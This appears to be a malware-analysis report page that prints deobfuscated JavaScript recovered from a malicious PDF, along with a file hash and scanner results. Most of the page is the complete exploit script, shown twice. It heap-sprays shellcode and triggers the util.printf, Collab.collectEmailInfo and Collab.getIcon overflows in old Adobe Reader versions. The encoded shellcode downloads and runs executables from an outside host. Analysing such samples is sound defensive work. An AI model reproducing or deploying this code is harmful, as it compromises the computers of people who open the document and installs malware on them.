var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u6F62%u6E72%u622F%u6A69%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u6F62%u6E72%u632F%u6B69%u786F%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5354 bytes
SHA-256: d78695bf3ba26f881b71371889d524d6ba2e8f5a3a49af168614862e8e5ffcd8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u6F62%u6E72%u652F%u6D67%u746E%u7776%u337A%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u6F62%u6E72%u622F%u6A69%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u6F62%u6E72%u632F%u6B69%u786F%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.